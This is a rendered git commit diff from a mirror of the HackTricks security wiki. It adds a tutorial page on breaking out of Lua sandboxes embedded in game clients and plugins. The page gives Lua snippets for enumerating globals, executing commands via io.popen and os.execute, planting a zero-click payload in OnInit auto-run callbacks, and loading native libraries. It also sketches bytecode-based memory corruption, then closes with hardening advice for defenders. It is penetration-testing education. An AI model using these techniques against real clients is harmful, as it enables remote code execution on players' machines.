mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into update_Cache_Me_If_You_Can__Sitecore_Experience_Platform__20250829_183502
This commit is contained in:
commit
8352a3e082
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
|
@ -0,0 +1,125 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
|
||||
|
||||
Key ideas:
|
||||
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
|
||||
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
|
||||
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
|
||||
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
|
||||
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
|
||||
Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
|
||||
|
||||
## Direct command execution if io/os is exposed
|
||||
|
||||
If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
|
||||
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
|
||||
- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
|
||||
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
|
||||
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
|
||||
|
||||
## Dangerous primitives to hunt during recon
|
||||
|
||||
During _G enumeration, specifically look for:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
|
||||
- package, package.loadlib, require: dynamic library loading and module surface.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
|
||||
## Optional escalation: abusing Lua bytecode loaders
|
||||
|
||||
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
|
||||
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
|
||||
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
|
||||
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
|
||||
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
|
||||
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
|
||||
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -4,6 +4,7 @@
|
||||
|
||||
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
|
||||
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
|
||||
|
Loading…
x
Reference in New Issue
Block a user